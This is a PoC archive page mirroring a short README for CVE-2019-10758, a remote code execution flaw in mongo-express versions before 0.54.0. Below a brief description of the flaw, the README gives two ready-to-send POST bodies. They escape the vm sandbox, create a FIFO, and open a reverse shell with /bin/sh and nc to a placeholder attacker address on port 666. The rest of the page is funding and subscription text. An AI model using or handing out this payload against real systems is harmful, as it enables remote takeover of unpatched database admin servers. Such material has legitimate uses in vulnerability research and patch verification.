Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2019-10758 PoC — mongo-express 安全漏洞

Source
Associated Vulnerability
Title:mongo-express 安全漏洞 (CVE-2019-10758)
Description:mongo-express before 0.54.0 is vulnerable to Remote Code Execution via endpoints that uses the `toBSON` method. A misuse of the `vm` dependency to perform `exec` commands in a non-safe environment.
Description
CVE-2019-10758
Readme
# CVE-2019-10758
mongo-express远程代码执行,反弹shell代码如下:

POST BODY 1:

document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("mkfifo /tmp/f")

POST BODY 2:

document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("cat /tmp/f | /bin/sh -i 2>%261 | nc x.x.x.x 666 >/tmp/f")
File Snapshot

[4.0K] /data/pocs/ab3e4b0f68f404c62ac3b02f55fd8c178cb9d79b └── [ 392] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →